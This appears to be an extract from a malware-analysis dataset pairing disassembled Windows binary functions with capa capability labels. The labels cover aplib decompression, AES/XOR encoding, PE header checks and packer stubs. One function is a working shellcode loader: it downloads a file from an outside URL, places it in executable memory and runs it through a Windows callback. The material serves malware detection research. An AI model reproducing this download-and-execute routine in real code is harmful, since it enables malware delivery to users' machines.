joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140af0058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140af01df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140af0089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140af006f
add dl, dl
jne 0x140af0096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140af00f6
xor eax, eax
add dl, dl
jne 0x140af00a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140af01ad
add dl, dl
jne 0x140af00b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140af00c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140af00d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140af00dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140af00ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140af007e
mov eax, 1
add dl, dl
jne 0x140af0106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140af0113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140af00fb
sub eax, ebx
mov ebx, 1
jne 0x140af014c
mov ecx, 1
add dl, dl
jne 0x140af012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140af013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140af0123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140af007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140af0168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140af0175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140af015d
cmp eax, 0x7d00
jae 0x140af019b
cmp eax, 0x500
jb 0x140af0196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140af007e
cmp eax, 0x7f
ja 0x140af019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140af007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140af01d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140af007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x18000a140
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
movaps xmmword [rax - 0x28], xmm6
mov r15, rcx
test r8, r8
je 0x18000a268
mov rdi, rcx
lea rbp, [r8 - 1]
sub rdi, rdx
shr rbp, 4
add rdi, 0xf0
lea rsi, [rdx + 9]
inc rbp
lea rbx, [rsi - 9]
mov r8, r15
movups xmm6, xmmword [rbx]
mov rdx, rbx
mov cl, 0xe
call fcn.18000a2b8
mov r14b, 0xd
mov al, byte [rsi]
mov rdx, rbx
mov cl, byte [rsi + 4]
mov r9d, 4
mov byte [rsi + 4], al
mov al, byte [rsi - 4]
mov byte [rsi], al
mov al, byte [rsi - 8]
mov byte [rsi - 4], al
mov al, byte [rsi + 1]
mov byte [rsi - 8], cl
mov cl, byte [rsi - 7]
mov byte [rsi - 7], al
mov al, byte [rsi + 5]
mov byte [rsi + 1], cl
mov cl, byte [rsi - 3]
mov byte [rsi - 3], al
mov al, byte [rsi - 2]
mov byte [rsi + 5], cl
mov cl, byte [rsi - 6]
mov byte [rsi - 6], al
mov al, byte [rsi + 2]
mov byte [rsi - 2], al
mov al, byte [rsi + 6]
mov byte [rsi + 2], al
mov byte [rsi + 6], cl
mov rcx, rdx
mov r8d, 4
movzx eax, byte [rcx]
lea r10, [0x18003c630]
mov al, byte [rax + r10]
mov byte [rcx], al
lea rcx, [rcx + 4]
sub r8, 1
jne 0x18000a1f3
inc rdx
sub r9, 1
jne 0x18000a1ea
mov r8, r15
mov rdx, rbx
mov cl, r14b
call fcn.18000a2b8
test r14b, r14b
je 0x18000a23a
mov rcx, rbx
call fcn.18000a4b8
add r14b, 0xff
jmp 0x18000a19b
mov ecx, 0x10
mov al, byte [rdi + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x18000a23f
add rsi, 0x10
sub rdi, 0x10
movdqu xmmword [r15 + 0xf0], xmm6
sub rbp, 1
jne 0x18000a184
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x18000a2b8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x180053d28]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x30], 0x70799fa
xor ebx, ebx
mov byte [rsp + 0x20], 0xb9
mov r14, r8
mov qword [rsp + 0x30], 0x1b84a452
mov rdi, rdx
mov rax, qword [0x180053150]
mov dword [rsp + 0x30], eax
mov rbp, qword [0x180053188]
mov qword [rsp + 0x28], 0xa7
mov rax, qword [0x180053160]
mov eax, 0xfffff394
movzx esi, cl
mov word [rsp + 0x28], ax
mov rax, qword [0x180053150]
movzx eax, byte [0x18005303e]
mov dword [rsp + 0x28], eax
mov eax, 0xffffd91e
mov word [rsp + 0x28], ax
mov byte [rsp + 0x20], 0xe
mov byte [rsp + 0x28], 0x80
mov rax, qword [0x180053168]
mov rax, qword [0x180053130]
mov word [rsp + 0x28], ax
mov rax, qword [0x180053150]
mov word [rsp + 0x28], ax
movzx eax, word [0x18005313c]
mov byte [rsp + 0x28], al
mov eax, dword [0x180053148]
mov word [rsp + 0x28], ax
mov byte [rsp + 0x28], 0x7d
mov eax, dword [0x1800530bc]
test eax, eax
je 0x18000a3b5
movups xmm0, xmmword [str.StringFromGUID2]
lea rcx, [rsp + 0x38]
movups xmm1, xmmword [0x18003c778]
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm1
call qword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x18000a416
mov eax, dword [0x180053114]
xor eax, 0x1f
je 0x18000a3ff
mov ecx, dword [0x180053114]
movsx eax, byte [0x180053067]
add ecx, eax
mov eax, dword [0x180053114]
add eax, ecx
mov dword [0x180053114], eax
movsx eax, byte [0x18005303b]
movsx r8d, byte [rsp + 0x20]
imul r8d, eax
mov al, byte [0x18005303b]
sub al, r8b
mov byte [0x18005303b], al
jmp 0x18000a416
mov byte [0x180053026], 0x60
mov eax, dword [rsp + 0x30]
add eax, 0xfee
mov qword [0x180053118], rax
mov r10d, esi
mov r8b, bl
shl r10d, 2
movzx edx, r8b
mov r9b, bl
add edx, r10d
shl edx, 2
movzx eax, r9b
inc r9b
add eax, edx
mov cl, byte [rax + r14]
xor byte [rdi], cl
inc rdi
cmp r9b, 4
jb 0x18000a42d
inc r8b
cmp r8b, 4
jb 0x18000a420
cmp word [0x180053170], bx
jne 0x18000a494
mov rcx, qword [0x180053120]
mov edx, ebx
movsx rax, bp
cmp rcx, rax
mov rax, qword [0x180053120]
setl dl
cmp rax, 0x15
setl bl
cmp edx, ebx
jbe 0x18000a494
mov eax, dword [0x18005319c]
movzx ecx, word [0x18005313c]
lea edx, [rax + rax]
add ecx, edx
mov dword [0x18005319c], ecx
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18002fd30
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x180032d64
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x180032c3b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180032c3b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180032c3b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180032c3b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180032c3b
cmp dword [rcx + 0x84], 0xe
jbe 0x180032c3b
cmp dword [rcx + 0xf8], 0
je 0x180032c3b
mov ecx, ebx
call fcn.180032cdc
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.180032acc
cmp dword [rbp + 0x20], 0
je 0x180032c88
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180032c90
int3
xor r8d, r8d
xor edx, edx
jmp 0x180032bd4
Function at 0x203a030
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x203a03d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x203a04d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x203a035
lea eax, [rcx + 1]
jmp 0x203a05b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x203a06e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x203a054
sub eax, 3
jb 0x203a08e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x203a0dd
sar eax, 1
movsxd rbp, eax
jb 0x203a0c4
jmp 0x203a09c
add ebx, ebx
jne 0x203a09a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x203a0c4
inc ecx
add ebx, ebx
jne 0x203a0aa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x203a0c4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x203a0bd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x203a0ac
add ecx, 2
jmp 0x203a0c9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.02039ff2
jmp 0x203a03d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1c16000]
mov eax, dword [rdi]
or eax, eax
je 0x203a139
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1c3a000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x203a0e9
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x203a133
mov qword [rbx], rax
add rbx, 8
jmp 0x203a109
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x203a17d
cmp al, 0xef
ja 0x203a165
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x203a145
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x203a154
mov eax, dword [rdi]
add rdi, 4
jmp 0x203a154
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x203a1d1
sub rsp, 0xffffffffffffff80
jmp 0x47b3a0
Function at 0x140715058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1407151df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140715089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14071506f
add dl, dl
jne 0x140715096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407150f6
xor eax, eax
add dl, dl
jne 0x1407150a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407151ad
add dl, dl
jne 0x1407150b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407150c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407150d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407150dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407150ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14071507e
mov eax, 1
add dl, dl
jne 0x140715106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140715113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407150fb
sub eax, ebx
mov ebx, 1
jne 0x14071514c
mov ecx, 1
add dl, dl
jne 0x14071512e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14071513b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140715123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14071507e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140715168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140715175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14071515d
cmp eax, 0x7d00
jae 0x14071519b
cmp eax, 0x500
jb 0x140715196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14071507e
cmp eax, 0x7f
ja 0x14071519e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14071507e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407151d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14071507e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001090
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via windows callback function
Get http content length
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x30
xor edi, edi
lea rcx, str.54as3
xor r9d, r9d
lea edx, [rdi + 1]
xor r8d, r8d
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x50], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_InternetOpenA]
lea rdx, str.http:__xingpai.weilay.com.cn_llq.rar
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
mov edx, 0x20000005
mov rcx, rax
mov rbx, rax
mov dword [rsp + 0x48], 4
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ecx, dword [rsp + 0x40]
call fcn.14000340c
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x50]
mov rdx, rax
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [rsp + 0x40]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x40]
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.1400030d0
xor r8d, r8d
mov edx, 0x800
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
mov rcx, rdi
call fcn.140003404
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140004297
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1404c8680]
jne 0x1400034ca
rol rcx, 0x10
test cx, 0xffff
jne 0x1400034c6
repz ret
ror rcx, 0x10
jmp 0x1400041f0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1404c98b0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1404c99a8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140004275
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1404c98b0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140004297
mov rax, qword [rsp + 0x88]
mov qword [0x1404c99a8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1404c9948], rax
mov rax, qword [0x1404c99a8]
mov qword [0x1404c9820], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1404c9930], rax
mov dword [0x1404c9810], 0xc0000409
mov dword [0x1404c9814], 1
mov rax, qword [0x1404c8680]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1404c8688]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1404c98a8], eax
mov ecx, 1
call fcn.140007674
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000b498]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1404c98a8], 0
jne 0x14000431e
mov ecx, 1
call fcn.140007674
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x1400062f0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140006160
Function at 0x1400088d0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1404c8680]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140004610
xor ebx, ebx
cmp qword [0x1404ca838], rbx
mov rdi, rax
jne 0x1400089e3
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140008aba
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140008aba
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1404ca838], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1404ca840], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1404ca848], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1404ca858], rax
test rax, rax
je 0x1400089da
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1404ca850], rax
jmp 0x1400089ea
mov rax, qword [0x1404ca850]
jmp 0x1400089f1
mov rax, qword [0x1404ca850]
mov r11, qword [0x1404ca858]
cmp rax, rdi
je 0x140008a58
cmp r11, rdi
je 0x140008a58
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1404ca858]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140008a58
test rax, rax
je 0x140008a58
call rsi
test rax, rax
je 0x140008a52
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140008a52
test byte [rsp + 0x40], 1
jne 0x140008a58
bts ebp, 0x15
jmp 0x140008a98
mov rcx, qword [0x1404ca840]
cmp rcx, rdi
je 0x140008a98
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140008a98
call rax
mov rbx, rax
test rax, rax
je 0x140008a98
mov rcx, qword [0x1404ca848]
cmp rcx, rdi
je 0x140008a98
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140008a98
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1404ca838]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140008aba
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140008abc
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400034b0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140005710
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov qword [rsp + 0x30], rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
mov r14d, 4
mov rax, qword gs:[0x58]
mov rsi, qword [rax]
mov r15d, 0x20
mov eax, dword [r15 + rsi]
mov r12d, 0x30
test al, 1
jne 0x1400057b8
or eax, 1
mov dword [r15 + rsi], eax
mov ebx, r12d
add rbx, rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbx + 0x1384], 0xffffffff
mov dword [rbx + 4], eax
mov ecx, 1
lea r8, [rbx + 8]
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [r8], edx
inc rcx
lea r8, [r8 + 4]
cmp rcx, 0x270
jb 0x140005790
mov dword [rbx], 0x270
mov eax, dword [r15 + rsi]
mov ecx, 0x10
test al, 2
jne 0x1400057d9
or eax, 2
mov dword [r15 + rsi], eax
mov qword [rsi + rcx], rbp
mov qword [rsi + rcx + 8], 0xf
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rbp
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov dword [rsp + 0x20], 1
lea r15, [rsi + rcx]
mov ebx, r12d
add rbx, rsi
lea r12, str.0123456789ABCDEF
nop word [rax + rax]
dec r14
mov qword [rsp + 0x28], rbx
mov rbp, qword [r15]
mov rdx, qword [r15 + 8]
sub rdx, rbp
cmp rdx, 0xffffffffffffffff
jne 0x140005845
mov rcx, rbx
call fcn.140016aa0
mov esi, eax
shl rsi, 0x20
mov rcx, rbx
call fcn.140016aa0
mov eax, eax
or rsi, rax
jmp 0x140005855
inc rdx
lea rcx, [rsp + 0x28]
call fcn.1400168b0
mov rsi, rax
lea rax, [rsi + rbp]
movzx r9d, byte [rax + r12]
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
cmp rcx, rdx
jae 0x14000588a
lea rax, [rcx + 1]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0xf
jbe 0x14000587f
mov rax, qword [rdi]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140005892
mov rcx, rdi
call fcn.140016180
test r14, r14
jne 0x140005810
mov rax, rdi
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140016aa0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140016b01
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140016ac0
mov ecx, dword [r9]
jmp 0x140016beb
cmp ecx, 0x4e0
jb 0x140016beb
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140016b20
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140016b70
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x14001778c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400177d6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400177d6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400177d6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400177d6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400177d6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400177d8
xor al, al
add rsp, 0x28
ret